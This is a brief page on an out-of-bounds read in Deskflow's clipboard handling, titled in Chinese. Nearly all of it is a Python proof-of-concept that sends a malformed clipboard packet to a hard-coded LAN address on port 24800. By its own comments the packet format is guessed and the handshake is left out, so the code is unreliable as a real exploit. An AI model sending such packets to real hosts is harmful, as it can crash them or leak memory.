CVE-2026-41476 Deskflow越界读取漏洞

import socket import struct # Conceptual PoC for CVE-2026-41476 # This script simulates sending a malformed clipboard chunk to trigger the OOB read. TARGET_IP = "192.168.1.100" TARGET_PORT = 24800 # Default Deskflow port def create_malformed_clipboard_packet(): # The vulnerability occurs because ClipboardChunk::assemble() checks the outer size # but not the internal structure before passing to IClipboard::unmarshall(). # We construct a packet that claims a valid outer size but contains a malformed inner length. # Note: Actual protocol structure would require reversing Deskflow's wire format. # This demonstrates the logic of sending a payload that bypasses outer validation. header = b"DeskFlow" # Protocol identifier example # Malformed data: A size field that indicates a larger buffer than actually valid # or a structure that breaks the assumptions of unmarshall(). malformed_inner_length = struct.pack(">I", 0xFFFFFFFF) payload = header + malformed_inner_length + b"A" * 100 return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # In a real scenario, a handshake sequence would be required first. # s.send(handshake_payload) print("[*] Sending malformed clipboard chunk...") exploit_packet = create_malformed_clipboard_packet() s.send(exploit_packet) print("[+] Payload sent. Check target for crash or information leak.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()